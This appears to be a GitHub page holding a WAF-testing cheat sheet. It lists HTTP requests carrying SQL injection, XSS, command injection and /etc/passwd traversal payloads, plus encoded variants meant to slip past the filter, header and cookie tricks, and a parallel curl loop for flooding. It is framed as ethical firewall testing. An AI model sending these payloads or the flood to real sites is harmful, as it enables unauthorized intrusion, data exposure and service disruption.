-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWAFBypass
100 lines (46 loc) · 1.9 KB
/
WAFBypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
To ethically test the effectiveness of a Web Application Firewall (WAF) like Cloudflare's, you can craft payloads designed to assess its detection and blocking capabilities. Here’s a framework for creating such payloads while respecting ethical boundaries:
1. General WAF Testing Payloads
These payloads help identify how the WAF handles malicious-like traffic:
a.SQL Injection (SQLi) Testing
GET /default.php?id=1' OR '1'='1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
b.Cross-Site Scripting (XSS) Testing
GET /default.php?search=<script>alert('XSS')</script> HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
c.Command Injection
GET /default.php?cmd=;ls HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
d.Path Traversal
GET /../../../../etc/passwd HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
e.LFI (Local File Inclusion)
GET /default.php?page=../../../../etc/passwd HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
---
2. WAF Evasion Techniques
WAFs rely on pattern-matching. You can test by using obfuscation techniques to evade detection:
a.Obfuscating SQLi
GET /default.php?id=1%20OR%20%271%27=%271 HTTP/1.1
b,Encoding for XSS
GET /default.php?search=%3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E HTTP/1.1
c.Hex Encoding
GET /default.php?search=%3C%7363%72%69%70%74%3Ealert(%27XSS%27)%3C%2F%73%63%72%69%70%74%3E HTTP/1.1
d.Nested Encoding
GET /default.php?search=%25253Cscript%25253Ealert(%252527XSS%252527)%25253C%25252Fscript%25253E HTTP/1.1
---
3. Headers and Cookie Manipulation
a.Testing Custom Headers
X-Original-URL: /default.php?id=1
X-Rewrite-URL: /default.php?id=1
b.Testing Cookie Modification
Cookie: test=1 OR '1'='1';
---
4. Rate Limiting and DDoS Protections
Simulate high-frequency requests to test rate-limiting and DDoS protection:
seq 1 1000 | xargs -n1 -P10 curl -s "http://target.com/default.php"
---